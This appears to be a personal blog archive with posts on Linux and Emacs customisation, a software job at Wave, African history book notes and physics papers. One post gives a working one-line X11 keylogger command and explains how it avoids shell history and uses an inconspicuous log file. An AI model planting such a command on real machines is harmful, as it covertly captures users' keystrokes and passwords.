Typical Technological Trickery

Are custom dev setups worthwhile?

2021-11-20T00:00:00+00:00

I work on a heavily customised version of Ubuntu which I treat a bit like Arch Linux but with more stable packages (i.e. custom X session with no GNOME etc, only running what I configure). I also use Emacs with a lot of configuration for almost all of my programming work. I was nudged down this path by The Art of Unix Programming, and I assumed that it would pay off but didn’t have much real foresight on the issue. In retrospect this kind of setup has some tradeoffs so I’m often unsure whether to recommend that younger engineers do something similar or stick with more standardised tools.

Being willing to put some effort into customising your setup can get you some nice benefits, e.g.

Tiling window managers to remove a lot of fiddling with window layouts.
Hotkeys for the tools and commands that you use the most (e.g. opening your todo list in a new editor window with one keystroke).
If using a mouse causes you RSI problems, no problem: configure things such that you rarely need to use one.
You can choose to only use applications with a text-based configuration, store all of the files in git, and so be able to configure a new machine to work exactly the same way in minutes.
You can use a more RSI-friendly keyboard layout (Colemak!) and rebind keys to be sensible in the alternative layout.
You also gain the ability to quickly experiment with new ideas. Because you already understand the basics additional configuration is easy.

But maybe the most important thing is the knowledge that you get along the way. In customising your environment you are forced to learn all sorts of little things which can pay off later. I first learned about systemd, bash scripting, udev, makefiles and much more in this way. All of these examples have been useful in my day job. Learning about such things while trying to make your window manager do something neat is much more fun and rewarding than learning them from books or exercises. In fact I suspect almost no-one learns this stuff in an academic way because it would be so dull!

You also gain more abstract knowledge too. The practice of customising your environment pushes you to work closely with a wide variety of software written in a wide variety of languages. This exposes you to various philosophies on configuration, updating, compilation, dependency management, correctness etc. For example you gain an appreciation for simple interfaces and code because it makes your life eaisier. You get to see how different styles of typechecking and auotmated testing play out in terms of how reliable the software is (spoiler: old untested lisp code often doesn’t do as well as e.g. well tested Haskell).

Along the same lines, you are pushed to experiment with multiple languages. My go to languages for real work are python, C++, and javascript, but through environment configuration I’ve had plenty of exposure to outliers like lisp, Haskell and bash. This makes it easier to understand new languages or language features e.g. my prior experience with lisp made it particularly easy for me to understand javascript well.

One downside of all this is that it takes some work. As long as it’s still fun this isn’t a problem, but sometimes these days I just want my computers to work without needing to think about anything. An example: my laptop doesn’t currently autodetect external monitors. I know that I could write a udev rule to automatically run the appropriate xrandr command but I haven’t bothered yet. So 2.5 years after switching from a desktop to a laptop I still run a command whenever I plug in a monitor.

Another is that sometimes you just have to live with something a little janky. In my case I wanted a status bar containing live graphs of CPU/memory/disk and applets for wifi, volume, skype, etc. But I couldn’t find anything that supports both so I’m actually running two status bars that look like they are one. This is fine except that depending on the screen size there can be a slight gap or overlap between them. Purely an aesthetic issue, but annoying nonetheless.

But maybe the biggest downside: the more standard your environment is the more you can benefit from economies of scale in getting new features and keeping everything bug-free. For example this seems to be happening with VS code - any new text editing idea is quickly added to VS code, but sometimes they take longer to reach Emacs (and longer still for a high quality version). Similarly when you work for a sufficiently large company they will likely have some engineers working on tooling and the more standard your enviroment is the more you can benefit from this.

An aside: some people avoid doing a lot of custom configuration because they want to be able to work easily on other people’s computers. I haven’t found this to be an issue yet: I’ve probably spent double-digit hours working on other people’s computers vs >20,000 hours on mine!

So to sum it up: maybe. Some configuration is probably worth the effort (e.g. tiling window managers and custom OS-level hotkeys are low effort, high payoff and easy to maintain), others might not be worthwhile directly (e.g. writing your own Emacs package to do autoformatting). But aside from the direct benefits, tinkering with computers and programming for fun outside of work can teach you a lot. If you find configuring your environment fun then it is a great way to learn!

Writing about my job: Software Engineer at Wave

2021-08-13T00:00:00+01:00

In response to Aaron Gertler’s prompt on the EA forum I’m writing a bit about my job. I hope this will be useful to people who are considering software engineering as a career path and EA software engineers who are in positions where their work is not EA relevant.

This post is cross posted from the EA forum.

The basics

I work as a lead software engineer for Wave mobile money. We’re working to build radically inclusive and affordable financial infrastructure in sub-Saharan Africa. My job is a mixture of programming, mentoring/leading other engineers on my team, and a bit of product design work. I work full remotely from Manchester, UK.

The job is EA-relevant in two ways:

Directly - Wave is dramatically cheaper than competitors, so we save people a lot of money for people who often don’t have much money in the first place. My rough estimate for the reduction in fees vs competitors is 20 million USD per month, and we’re growing so this is constantly increasing!

Less concretely there are also benefits from having a reliable, fast, and widely used mobile-money network available, see e.g. link or link.
Donations - with most jobs pay is heavily location dependent, but I’m not willing to make the sacrifice of living somewhere that will leave me isolated from my friends and family in order to earn more money. Wave’s pay is (almost) location-independent so as a European software engineer working for Wave allows me to donate substantially more than I would otherwise. It’s roughly 3x-10x+ depending on how much the equity ends up being worth. Wave also matches donations up to $10,000 per year which adds another ~1x.

Of these two I think the direct work is probably the more valuable part: even taking the fee savings alone and dividing evenly over all Wave employees would be around 500K USD per Wave employee per year. But a software engineering role probably contributes more than say a callcenter role so my contribution is probably more than that. Then there’s the potential for massive continued growth of Wave which could amplify the impact of work done now by 10-100x.

It’s not completely clear-cut though since 1. the largest fee savings/mobile money network benefits will probably go to richer people and 2. GiveWell estimates AMF donations to be around 10x more valuable than cash transfers.

Background

I think there’s a pretty standard route to getting a software job (i.e. STEM or CS degree then junior eng role, maybe with some self-driven learning or a bootcamp first), but I’ll describe my path anyway because it was slightly non-standard:

Maths and Physics undergraduate - I think this was very helpful in getting the right mindset for software engineering and learning hard things in general, but only a tiny fraction of what I learned during my undergraduate is actually relevant to my job.
PhD in computational physics - this is when I really learned to program well. I was working on large complex software so I was forced to use proper software engineering best practices to be able to deal with it. I think this was a big help in getting to where I am now. Still not sure if I would recommend doing a PhD though: it was definitely bad for my mental health.
4 years as a software engineer at Biosite - more technical skills, and general software work experience. Also my introduction to the idea of prioritising work based on impact rather than just trying to do everything at once. (Really wish I’d been pushed to think about this more during my PhD!)

As well as the above I’ve spent a lot of time (a few hours a week for ~6 years) writing open source software for fun in my spare time and reading books on the subject. I think this probably helped to prepare me for the job as much or more than my undergraduate degree. Possibly even more than a CS undergraduate would have done.

Application process

Disclaimer: this is written from memory from 2 years ago, I might not have got everything right.

The application process took a fairly typical amount of work for a software job in my experience. It took around 10-12 hours total (including prep) over 4 parts: 2 coding exercises and 2 chats. Everyone I interacted with was friendly and pleasant throughout, I think it would have been a positive experience even if I didn’t get the job.

The first chat was just a general intro to Wave and opportunity to ask questions. I didn’t explicitly prep for this but I had a few questions anyway. In retrospect I probably should have spent some time thinking of more questions.

Then there were the programming exercises. These were both intense but fun, I think it was around 6 hours total + a couple of hours prep. At the time the recommended prep was something fairly wishy-washy like “think about how to solve the problem but don’t write any code” (I think this has changed since). So I did this recommended prep and I also made sure I was familiar with all the technologies that I would be using by writing a quick implementation of some trivial application with same language and framework. I think I’m happy with the amount of prep that I did. I found out afterwards that I did fine on both of the exercises, but while I was doing them I felt like there wasn’t enough time to fully solve the exercise (this was probably intentional). That was what made it feel intense.

Finally there was the last interview with one of the founders. I think this was a final check for culture fit, we talked about things along the lines of why I wanted to work for Wave, what motivates me in general, etc. As with the other chat I didn’t really spend any time prepping for this and maybe I should have done something more.

Pretty quickly after the last interview (I think it was same or next day) I got a job offer. I took a day or so to think it through to be completely sure that it was what I wanted, but really there was no way I was going to say no!

I applied for another job at the same time as I applied for Wave. The other job was some boring corporate transportation arranging startup who rejected me (one of the reasons was because I didn’t seem excited enough about their product, so I guess they got that right!). Their application process was fairly similar to the Wave one. Doing two applications at once was manageable but I don’t think I could have handled more than 3 applications while also working full time.

What the job is like

What I spend my time on

This varies a lot from week-to-week, but as a rough estimate:

~40% of my time writing code
~25% of my time on supporting/mentoring the other software engineers on my team - helping them with any tricky problems, giving guidance on technical designs, etc.
~25% of my time working on product design problems - digging into data to answer questions or look for issues; working out how to make new features easy to use, secure, and reliable.
~10% of my time arranging other things - trying to make sure all of the pieces are in place for projects to go smoothly, ensuring that the right people are talking to each other, etc.

I’m the tech lead for my team, so most software engineers spend less time on mentoring/product/arranging things and more on writing code than I do. But Wave generally encourages all engineers to get involved in product decisions and take full ownership over the problems they are solving, so there might still be more non-programming work than at other companies.

More specifically: I work on the integrations team, where we build features that interact with systems run by other companies. The most common example of this kind of feature is enabling users to pay their bills in the Wave app. This might sound simple and boring but (for better or worse) many of our partners have very idiosyncratic APIs. So every new integration is an interesting challenge in figuring how we can adapt to the specific functionality and requirements of that particular API.

Pros

For Wave in particular:

I get to directly work on solving really important problems for people (e.g. allowing people to cheaply pay their bills from their phone instead of walking miles to an agency or paying large fees). This kind of work doesn’t seem to be possible in developed world software because all of the low-hanging fruit has already been picked so you just work on making cat pictures load faster or making someone else’s job slightly more efficient, etc.
We’re growing absurdly quickly, during my time at Wave we’ve gone from being a tiny company that no-one had heard of to the majority of adults in Senegal being Wave users (and we’ve since launched in other countries too). This is incredibly exciting to watch unfold.
The work environment is great - my colleagues are some of the most friendly and supportive people I’ve met, looking after yourself is widely encouraged. They’re also some of the smartest people I’ve ever met.

For software engineering in general:

It’s an interesting and intellectually challenging role. There are more challenging roles, but I find that software engineering has a nice balance between “hard enough to be interesting” and “so hard you fail all the time”.
The compensation is good, although it’s usually only really really good in particular cities.

Cons

For Wave in particular:

Fully remote work can be isolating, this is usually counteracted by regular company trips to the countries where we operate but covid has obviously suspended that.
Working on technology in Africa can be… challenging, e.g. there are few/no datacenters - you either run your own machines or use hardware on another continent; the reliability of everything is relatively low - power and internet outages happen semi-regularly both for us and for our partner companies; the regulatory environment can be confusing, bureaucratic, and/or ineffective.

For software engineering in general: it definitely requires a love of and aptitude for learning about technical subjects.

Contact me/hiring

If you have any follow up questions feel free to post them on the EA forum or email me about them.

We’re currently hiring software engineers, product managers, and a bunch of other remote positions. So if any of what I’ve described sounds like something you would be interested in doing then please reach out and/or check out our jobs page.

Notes from “Africa: a biography of the continent” by John Reader

2020-05-02T00:00:00+01:00

I read this book over the last few months hoping to get some more insight into African history. It’s a great book and very readable, although some parts drag on a bit or repeat things (I skimmed over a few pages).

While reading I realised I was learning so many interesting things that I decided to keep notes so that I wouldn’t forget them all. I wasn’t originally intending to share them anywhere so they aren’t necessarily very well written.

Everything here is according to the book, obviously I don’t know much about African history (otherwise I wouldn’t need to read a book about it) so there might be things which are misleading or even plain wrong and I wouldn’t have been able to spot them.

Early chapters

Africa is the oldest continent to have its current form, others had more recent geological events create/affect them.
Humanity began in Africa
Life itself began in Africa!
Languages in Africa have a lot more diversity: non African languages are all somewhat related to each other because they branched off the tree later.
The sahara was fertile until the last ice age when changes in ocean currents reduced rainfall!
Humans standing upright was probably a way to regulate body temperature, and happened before brain size increase or tool use! Standing up means less body exposed to the sun (so less radiative heating and more bare skin which can sweat better b/c you don’t need fur to protect from uv on skin which isn’t exposed to the sun) and more breezy. Humans are better than other mammals in high temp as long as we get enough water!
Law of the minimum: the resource that is the least readily available is the one that limits growth.
Various pre-homo sapian humans explored outside Africa but died out.
There is a family of languages called Bantu which is spoken all over Africa.

African civilizations

There was a major civilization in Ethiopia at Aksum around the same time as Rome and of comparable influence!
It was on a plataeu which lowered the temperature and increased rainfall, making it more hospitable than most of the rest of Africa.
The plateau was a natural fortress: mountainous on 3 sides and desert on the other.
One of the main causes of its downfall was deforestation (b/c rain leached the soil and reduced food production).
They built massive monuments called stele, gigantic chunks of carved solid rock, which still exist.
Ethiopians believe that Aksum rulers interacted with ancient biblical figures, but the timelines are all wrong.
There was a civilization on the inland Niger delta which didn’t have any rulers/upper classes/etc. They were mostly subsistence farmers but it was so hard that they all had to rely on each other a lot. Being “nice” was basically mandatory for survival so it got embedded deeply into their culture. Also interesting: they lived in ~30 mini-towns all near to each other to walk between but firmly separated by less solid ground in between.
Elephants used to seriously compete with humans for resources. They would raid farms and eat all the food! Governments paid people to hunt them but they still couldn’t keep the numbers down until more recently when all the elephant habits were destroyed.
Using animals for farming in sub-saharan Africa was basically useless because they needed to eat more calories than they could help to grow. Different to Europe because of the kinds of crops possible, more rapidly growing weeds, and hard to plough soil.
Many societies in SSA used to have a gerontocratic power system (old people ruling). This made for stable, peaceful, but very conservative societies.
Lake victoria is a gigantic lake between kenya, uganda, and tanzania. It’s the source of the nile.
Bananas are so easy to grow that when they were introduced to certain regions of Africa they caused massive population growth due to more food being available.
Stupid white explorers assumed that any elite groups in Africa had to be descended from europeans and came up with convoluted explanations for this to happen.

Foreign influences

The initial exploration/exploitation of Africa by Europeans was by the Portugese. They sailed all the way around it eventually, looking to bypass other countries and get to the indies.
A lot of the initial slave trade was Africans selling other Africans to Europeans (for lack of anything else to sell to buy European goods).
The Portugese empire eventually collapsed due to lack of manpower.
Cowerie shells were used as currency for a long time. They were tough, light, and hard enough to get hold of on the African mainland that this made sense!
The maldives were possible to live on because they were a great source of cowerie shells, so people living there could buy food etc with them.
Even after the atlantic slave trade was abolished, it continued within Africa. People used slaves to grow crops etc and sold the crops to Europeans instead.
Droughts increased slavery because desparate people would give themselves into slavery to be fed.

The scramble

A couple of different european explorers made expeditions across Africa, but at a big cost in the lives of their African and European helpers.
The Congo began as a supposedly philanthropic endeavour to ‘civilise’ central Africa.
The Belgian king decided he wanted his own personal colony, lots of political machinations and throwing money around and he got it.
At first the Congo ‘free’ state was a massive money sink, but then tires were invented, demand for rubber soared, and it started making huge profits from exported rubber.
But: the methods used were horrific. They dictated that the natives (who didn’t have any choice in becoming part of this ‘country’) work for them gathering rubber as ‘taxes’. High quotas were enforced with violence.
Unsurprisingly this didn’t go well longer term:within 5 years or so there was massive depopulation (presumably both deaths and migration) and environmental destruction.
The profits all went into development of Europe, obviously…
All of the national borders in Africa divide ethnic groups and resources in stupid ways because they were drawn up by Europeans.
Border areas are relatively badly served by most infrastructure: the core infrastructure of the country they are in is far away and they aren’t allowed to use the neighbouring country’s.
Most colonies weren’t actually productive at all (Rhoesia never made any money, the German colonies only lasted for 30 years and had major economic problems).
Germany had colonies! I didn’t know that. ~~They were actually treated comparatively well too~~. The book doesn’t mention it but the German military committed genocide in what is now Namibia.

Post world war 2

After WW1/2 people started to want to free the colonies (anit-facism, increase in American power and America being an ex-colony, Africans helped a lot during the war).
The initial idea was to slowly transfer power over decades, but various nationalist movements started rioting etc and so power transfers happened very quickly.
This is probably why there have been so many political problems in Africa recently (uneducated population with no experience in democracy suddenly ask to elect leaders from among themselves).

Publication: Adaptive-step implicit-midpoint-rule for time integration

2019-05-24T00:00:00+01:00

The main paper from my PhD has finally made it through the publication process, and is available here (it’s open access so you don’t need an expensive subscription to read it).

The abstract is:

The implicit mid-point rule is a Runge–Kutta numerical integrator for the solution of initial value problems, which possesses important properties that are relevant in micromagnetic simulations based on the Landau–Lifshitz–Gilbert equation, because it conserves the magnetization length and accurately reproduces the energy balance (i.e. preserves the geometric properties of the solution). We present an adaptive step size version of the integrator by introducing a suitable local truncation error estimator in the context of a predictor-corrector scheme. We demonstrate on a number of relevant examples that the selected step sizes in the adaptive algorithm are comparable to the widely used adaptive second-order integrators, such as the backward differentiation formula (BDF2) and the trapezoidal rule. The proposed algorithm is suitable for a wider class of non-linear problems, which are linearised by Newton’s method and require the preservation of geometric properties in the numerical solution.

In plain English: I took an algorithm which has some useful properties for simulating magnetic materials and found a way to make it faster without losing those properties. Hopefully it will turn out to be useful in other areas of computational physics too, but I didn’t have time to look into that.

Tracing macros in Emacs

2018-03-30T00:00:00+01:00

I’ve been playing around in common lisp lately, and one feature I particularly like is the trace macro. trace is a macro which lets you easily log the arguments and result of all calls to a function. It’s particularly handy for visualising recursive function calls.

As you might expect Emacs has an equivalent macro. It’s called trace-function and is used like this:

(defun fact (n)
  (if (= n 0) 1
    (* n (fact (1- n)))))

(trace-function #'fact)

(fact 3)

which pops up a *trace-output* buffer containing

======================================================================
1 -> (fact 3)
| 2 -> (fact 2)
| | 3 -> (fact 1)
| | | 4 -> (fact 0)
| | | 4 <- fact: 1
| | 3 <- fact: 1
| 2 <- fact: 2
1 <- fact: 6

This is great if you’re working interactively, but I want to use it for debugging unit tests too. I run typically tests in batch mode using ert-runner, so the challenge is to get the trace macro to print to stdout instead of writing to a buffer.

Unfortunately Emacs doesn’t have a simple way of redirecting a buffer to stdout. My somewhat hacky solution is to add the following code to my ert-runner test-helper.el file:

(defun log-trace-buffer (&rest _)
  (when (get-buffer trace-buffer)
    (with-current-buffer trace-buffer
      (message (buffer-substring-no-properties (point-min) (point-max))))))
(add-to-list 'ert-runner-reporter-run-ended-functions #'log-trace-buffer)

which just dumps the entire contents of the trace output buffer to stdout when the tests finish. It’s not perfect but it’s enough for me to fix my tests!

Polish nonsense phrase generator

2018-03-10T00:00:00+00:00

Polish nonesense phrase generator

What??

This attempts to generate grammatically valid but semantically meaningless Polish sentences. At the moment it’s very simple and can only generate sentences of the form “Noun Verb” (e.g. the boy runs, the dog eats, etc), with the occasional adjective thrown in. There are probably mistakes, I’m still learning!

But why?

I’m learning Polish (slowly) and I recently came across an English sentence generator in Paradigms of AI Programming, so I thought it might be fun to put the two together.

Technology

I started out using common lisp (following the examples in PAIP), but then decided I wanted to show the results in a webpage so I switched to typescript (because type safety makes life much much easier).

I prototyped the generator as a console application in node, then once I was happy with the logic I used browserify to bundle the compiled javascript with the dependencies in way that browsers can handle. I’m really impressed with how easy it was to use compared to gulp or webpack: just run browserify index.js -o bundle.js (where index.js is a node application) and then serve bundle.js.

I used a bit of a hack to expose the necessary functions to the html. In index.ts I put:

(window as any).ctrl = {
    generate,
    toggleTranslation,
    /* etc */
}

which seems to work nicely.

The source code is on github.

A one-line X11 keylogger

2016-10-16T00:00:00+01:00

It’s an old adage that you can’t secure a computer against people with physical access to it. I was interested in this idea, so I was exploring what could be done with only keyboard and mouse access to a typical Ubuntu machine (i.e. without being able to plug in usb devices or pull out hard drives) when I came across the xinput test command. I’m sure this is old hat to anyone with a real interest in security, and I’m sure there are plenty of ways to counter it; but I think it’s interesting anyway.

So, here’s how to run an X11-based keylogger which writes to a local file and probably won’t be noticed by a non-paranoid user: Open a terminal, run

 nohup xinput test $(xinput list | grep 'AT Translated' | sed 's/.*id=\([0-9]*\).*/\1/') > /tmp/tmp.QTQTivXDhI

with a leading space character (markdown eats leading spaces in code samples..) and close the terminal. You may need to change the AT Translated to the name of your keyboard to get it working one your machine, have a look at the output of xinput list. Now press some keys and it will write into /tmp/tmp.QTQTivXDhI something like:

key press   40
key press   47
key release 40
key press   58
key press   45
key release 47
key release 58
key release 45
key press   41
key press   43
key release 41
key press   46
key release 43
key press   44
key release 46
key press   28
key release 44
key press   65
key release 28
key release 65

those numbers are X11 keycodes which can be translated to key names if you know the keyboard layout in use.

Here’s a breakdown of the command:

The leading space tells bash not to record the command in it’s history
nohup prevents it from stopping when you close the terminal
xinput test is the command which does the actual keylogging
$(...) finds the id of the keyboard to log
> /tmp/tmp/.... writes the output to an inconspicuous looking file

Of course to make any use of this an attacker would need to come back to the machine and inspect the resulting file, but if someone can get access once they can probably do it a second time.

I’m not sure that this is a real problem since there are so many other things that an attacker with this kind of access could do. This is one of many security issues with X11 that Wayland should solve.

Debugging a slow system shutdown

2016-10-16T00:00:00+01:00

I’ve read some interesting debugging stories recently, so here’s one of mine. Hopefully it might help others who have similar issues.

Recently my laptop started taking much longer than usual to turn off: instead of ~1 second it would take ~20. Around the same time I had the exact same problem on my work machine which runs a different version of Ubuntu. So it seemed likely that the issue was something in my configuration rather than a real bug.

I started by enabling persistant systemd logs so that I could read the logs recorded during a shutdown. Once that was set up I rebooted the laptop, then checked the logs with journalctl --boot=-1. Skimming through the last few items I noticed that there was a 28 second wait before the line Stopped LSB: "privilege escalation detection system" which seemed suspicious.

Some more googling and I found this askUbuntu question by someone having the same issue as me. It turns out that I’d unwittingly installed something called “ninja” that watches out for suspicious looking programs running as root. I suspect that on both of my machines I had attempted to install ninja-the-build system (apt-get install ninja-build) and instead installed ninja-the-monitoring-daemon (apt-get install ninja).

Moral of the story: check out unknown packages using apt-cache show before you install them!

Publication: Discretization-Induced Stiffness in Micromagnetic Simulations

2015-06-10T00:00:00+01:00

I published a paper a while ago, but I’ve been pretty busy so hadn’t gotten around to figuring out the rules about posting it online. Anyway it looks like I’m allowed to host it on my personal website, so here it is!

The abstract is:

In the numerical integration of the Landau-Lifshitz-Gilbert (LLG) equation, stiffness (stability restrictions on the time step size for explicit methods) is known to be a problem in some cases. We examine the relationship between stiffness and spatial discretisation size for the LLG with exchange and magnetostatic effective fields. A maximum stable time step is found for the reversal of a single domain spherical nanoparticle with a variety of magnetic parameters and numerical methods. From the lack of stiffness when solving a physically equivalent ODE problem we conclude that any stability restrictions in the PDE case arise from the spatial discretisation rather than the underlying physics. We find that the discretisation induced stiffness increases as the mesh is refined and as the damping parameter is decreased. In addition we find that use of the FEM/BEM method for magnetostatic calculations increases the stiffness. Finally, we observe that the use of explicit magnetostatic calculations within an otherwise implicit time integration scheme (i.e. a semi-implicit scheme) does not cause stability issues.

In plain English: I investigated when and why one class of algorithms becomes more efficent than another class of algorithms for an important problem in the study of magnetic materials.

Here’s the paper itself.

Reading from stdin to an emacs buffer

2014-11-22T00:00:00+00:00

Sometimes the way emacs utterly ignores standard unix conventions can be pretty annoying. In particular the fact that, unlike almost every other standard unix tool, you can’t give it - instead of a filename and have it read from stdin has always annoyed me (yes, I know emacs came from lisp machines not unix, but it’s been used on unix machines since before I was born). So today I’ve final sat down and figured out how to hack around this limitation.

First of all I should note that there is an existing package called e-sink to read from stdin. However the code seems unnecessarily complex (probably doesn’t help that I don’t know perl).

So, here’s my solution:

# The emacs or emacsclient to use
function _emacsfun
{
    # Replace with `emacs` to not run as server/client
    emacsclient -c -n $@
}


# An emacs 'alias' with the ability to read from stdin
function e
{
    # If the argument is - then write stdin to a tempfile and open the
    # tempfile.
    if [[ $1 == - ]]; then
        tempfile=$(mktemp emacs-stdin-$USER.XXXXXXX --tmpdir)
        cat - > $tempfile
        _emacsfun -e "(progn (find-file \"$tempfile\")
                             (set-visited-file-name nil)
                             (rename-buffer \"*stdin*\" t))
                 " 2>&1 > /dev/null
    else
        _emacsfun "$@"
    fi
}

If you prefer to use a standalone emacs just replace emacsclient -c -n in _emacsfun with emacs.

The function is called as

echo "hello world" | e -

e hello_world.txt

One more note: each time you read from stdin a temporary file in /tmp is created, these are typically cleared on reboot which is good enough for me. If you need them to be gone immediately you could add rm $tempfile inside the if statement.

As always the code is on github.